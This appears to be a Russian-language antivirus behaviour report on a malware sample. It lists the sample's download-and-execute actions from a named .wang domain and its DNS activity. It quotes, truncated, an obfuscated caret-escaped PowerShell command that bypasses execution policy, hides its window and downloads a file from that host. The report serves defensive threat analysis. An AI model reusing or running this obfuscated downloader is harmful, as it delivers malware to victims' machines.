Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://tolleyfrvdy.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "POW^ERSh^El^L^.^ExE^ ^-^Ex^E^cUTIo^n^pOlIC^y BYPA^S^S ^-nO^PrOFil^e^ -^WI^nd^o^WsT^yle HIDD^e^n^ (nEw^-^o^B^je^c^T s^Ys^t^E^M.NEt.^WEb^c^LI^e^N^T).DoW^NLO^A^dFI^Le('http://tolle...
Сетевая активность
UDP
- DNS ASK to####frvdy.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "POW^ERSh^El^L^.^ExE^ ^-^Ex^E^cUTIo^n^pOlIC^y BYPA^S^S ^-nO^PrOFil^e^ -^WI^nd^o^WsT^yle HIDD^e^n^ (nEw^-^o^B^je^c^T s^Ys^t^E^M.NEt.^WEb^c^LI^e^N^T).DoW^NLO^A^dFI^Le('http://tolle...' (со скрытым окном)
